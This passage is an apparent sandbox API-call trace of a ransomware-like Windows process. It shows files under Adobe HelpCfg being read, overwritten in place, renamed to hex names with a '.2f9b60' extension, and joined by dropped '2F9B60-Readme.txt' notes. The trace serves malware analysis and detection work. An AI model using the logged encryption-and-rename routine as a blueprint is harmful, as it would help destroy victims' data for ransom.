BaseAddress=0x1b86cec0) returned 1 [0155.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda880) returned 1 [0155.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2330 [0155.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cec0 [0155.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428c3630 [0155.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428c7240 [0155.049] ReadFile (in: hFile=0x788, lpBuffer=0x428c3630, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2f45fad0, lpOverlapped=0x0 | out: lpBuffer=0x428c3630*, lpNumberOfBytesRead=0x2f45fad0*=0x15d, lpOverlapped=0x0) returned 1 [0155.049] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.049] WriteFile (hFile=0x788, lpBuffer=0x428c7240, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2f45fad4, lpOverlapped=0x0) [0192.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139df0 [0192.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139e20 [0192.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139e20) returned 1 [0192.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428c7240) returned 1 [0192.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428c3630) returned 1 [0192.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cec0) returned 1 [0192.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2330) returned 1 [0192.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d4b0 [0192.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2330 [0192.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cec0 [0192.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139e20 [0192.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139e20) returned 1 [0192.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d4f0 [0192.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139e20 [0192.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139e50 [0192.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139e50) returned 1 [0192.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cec0) returned 1 [0192.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2330) returned 1 [0192.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x423abdf0 [0192.805] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.805] WriteFile (in: hFile=0x788, lpBuffer=0x423abdf0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2f45fbf0, lpOverlapped=0x0 | out: lpBuffer=0x423abdf0*, lpNumberOfBytesWritten=0x2f45fbf0*=0x118, lpOverlapped=0x0) returned 1 [0201.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0201.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda730 [0201.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda730) returned 1 [0201.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdda730 [0201.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda700 [0201.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda640 [0201.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda640) returned 1 [0201.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0201.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b859390 [0201.361] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="3b") returned 2 [0201.361] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="be") returned 2 [0201.361] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="d5") returned 2 [0201.361] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="88") returned 2 [0201.361] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="5d") returned 2 [0201.361] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="4a") returned 2 [0201.361] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.361] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="45") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="3d") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="a2") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="6d") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="bc") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="b9") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="be") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="ab") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="a3") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="80") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="bf") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="c2") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="95") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="82") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="1e") returned 2 [0201.361] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="8e") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="82") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="a5") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="d6") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="4b") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="ca") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="71") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="64") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="ee") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="4c") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="e5") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="3c") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="12") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="6b") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="3b") returned 2 [0201.362] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="33") returned 2 [0201.362] RtlInitAnsiString (in: DestinationString=0x2f45fc68, SourceString="3bbed5885d4af7453da26dbcb9beaba380bfc295821e8e82a5d64bca7164ee4ce53c126b3b33" | out: DestinationString="3bbed5885d4af7453da26dbcb9beaba380bfc295821e8e82a5d64bca7164ee4ce53c126b3b33") [0201.362] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f45fc38, SourceString="3bbed5885d4af7453da26dbcb9beaba380bfc295821e8e82a5d64bca7164ee4ce53c126b3b33", AllocateDestinationString=1 | out: DestinationString="3bbed5885d4af7453da26dbcb9beaba380bfc295821e8e82a5d64bca7164ee4ce53c126b3b33") returned 0x0 [0201.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431a6b40 [0201.363] wcscat (in: _Dest=0x431a6a90, _Source="3bbed5885d4af7453da" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\3bbed5885d4af7453da") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\3bbed5885d4af7453da" [0201.363] wcscat (in: _Dest=0x431a6a90, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\3bbed5885d4af7453da.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\3bbed5885d4af7453da.2f9b60" [0201.363] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\3bbed5885d4af7453da.2f9b60", NtPathName=0x2f45fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\3bbed5885d4af7453da.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310aa60 [0205.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310aa60) returned 1 [0205.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43207810) returned 1 [0205.779] NtQueryInformationFile (in: FileHandle=0x788, IoStatusBlock=0x2f45fc78, FileInformation=0x2f45fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f45fc78, FileInformation=0x2f45fc88) returned 0x0 [0205.779] NtSetInformationFile (FileHandle=0x788, IoStatusBlock=0x2f45fc78, FileInformation=0x2f45fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a6a90) returned 1 [0208.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a6b40) returned 1 [0208.599] FlushFileBuffers (hFile=0x788) returned 1 [0208.612] CloseHandle (hObject=0x788) returned 1 [0210.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43187b20 [0210.562] wcscpy (in: _Dest=0x43187b20, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\" [0210.562] wcscat (in: _Dest=0x43187b20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\2F9B60-Readme.txt" [0210.562] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ro_ro\\2f9b60-readme.txt")) returned 0xffffffff [0210.562] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ro_ro\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1654 [0215.281] WriteFile (in: hFile=0x1654, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2f45fb30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2f45fb30*=0xba9, lpOverlapped=0x0) returned 1 [0222.412] CloseHandle (hObject=0x1654) returned 1 [0224.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43187b20) returned 1 [0224.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505e10) returned 1 Thread: id = 2528 os_tid = 0x1ff4 [0155.051] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ru_ru\\reader_10.0.helpcfg")) returned 0x20 [0155.051] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0155.052] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ru_ru\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa9c [0155.052] GetFileSizeEx (in: hFile=0xa9c, lpFileSize=0x2fa1f840 | out: lpFileSize=0x2fa1f840*=349) returned 1 [0155.052] SetFilePointerEx (in: hFile=0xa9c, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.052] ReadFile (in: hFile=0xa9c, lpBuffer=0x2fa1f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fa1f808, lpOverlapped=0x0 | out: lpBuffer=0x2fa1f7c0*, lpNumberOfBytesRead=0x2fa1f808*=0x4, lpOverlapped=0x0) returned 1 [0155.053] SetFilePointerEx (in: hFile=0xa9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda880 [0155.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda910 [0155.054] NtQuerySystemTime (in: CurrentTime=0x2fa1f700 | out: CurrentTime=0x2fa1f700*=132462177601882000) returned 0x0 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0xda50e11 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x6f4f738f [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x26a71fb2 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x6548cf5 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x45e3c44e [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x3c22f5fa [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x4f16b5f5 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x708216 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x3026a20 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x14586654 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x6013d5b7 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x3a3ddaa1 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x252a8cfc [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0xe0e1689 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x4b6023aa [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x5a241225 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x67569402 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x413d5607 [0155.054] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x5c11a4c4 [0155.055] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x50dbcd9a [0155.055] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x596e3d59 [0155.055] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0xb0b974a [0155.055] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x6521df4f [0155.055] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x181c8190 [0155.055] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x3e9587cf [0155.055] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x562ac3ac [0155.055] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x1399bf52 [0155.055] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x69aff33c [0155.055] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x55c87618 [0155.055] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x796e8009 [0155.055] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x5ec367d9 [0155.055] RtlRandomEx (in: Seed=0x2fa1f6f0 | out: Seed=0x2fa1f6f0) returned 0x6c6ff938 [0155.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda940 [0155.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cf40 [0155.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda970 [0155.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cf40) returned 1 [0155.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda910) returned 1 [0155.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2380 [0155.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cf40 [0155.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428cae50 [0155.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428cea60 [0155.066] ReadFile (in: hFile=0xa9c, lpBuffer=0x428cae50, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2fa1f6f0, lpOverlapped=0x0 | out: lpBuffer=0x428cae50*, lpNumberOfBytesRead=0x2fa1f6f0*=0x15d, lpOverlapped=0x0) returned 1 [0155.066] SetFilePointerEx (in: hFile=0xa9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.066] WriteFile (hFile=0xa9c, lpBuffer=0x428cea60, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2fa1f6f4, lpOverlapped=0x0) [0186.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9320 [0186.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9350 [0186.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9350) returned 1 [0186.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428cea60) returned 1 [0186.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428cae50) returned 1 [0186.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cf40) returned 1 [0186.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2380) returned 1 [0186.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5cdb0 [0186.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2380 [0186.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cf40 [0186.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9350 [0186.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9350) returned 1 [0186.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5cdf0 [0186.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9350 [0186.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9380 [0186.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9380) returned 1 [0186.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cf40) returned 1 [0186.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2380) returned 1 [0186.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x1ce14090 [0186.354] SetFilePointerEx (in: hFile=0xa9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.355] WriteFile (in: hFile=0xa9c, lpBuffer=0x1ce14090*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fa1f810, lpOverlapped=0x0 | out: lpBuffer=0x1ce14090*, lpNumberOfBytesWritten=0x2fa1f810*=0x118, lpOverlapped=0x0) returned 1 [0207.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaa00 [0207.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaa00) returned 1 [0207.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cddaa00 [0207.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda9d0 [0207.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda910 [0207.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda910) returned 1 [0207.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86250 [0207.056] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="0c") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="1b") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="27") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="8d") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="e0") returned 2 [0207.056] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="cd") returned 2 [0207.056] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="23") returned 2 [0207.056] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="1b") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="c8") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="d6") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="3a") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="b3") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="f5") returned 2 [0207.056] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="6a") returned 2 [0207.056] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="d4") returned 2 [0207.056] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="30") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="a7") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="92") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="89") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="d6") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="70") returned 2 [0207.056] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="82") returned 2 [0207.056] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="ab") returned 2 [0207.056] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="fe") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="0a") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="77") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="6f") returned 2 [0207.056] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="c6") returned 2 [0207.057] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="8a") returned 2 [0207.057] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="c5") returned 2 [0207.057] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="fd") returned 2 [0207.057] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="cd") returned 2 [0207.057] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="bd") returned 2 [0207.057] sprintf (in: 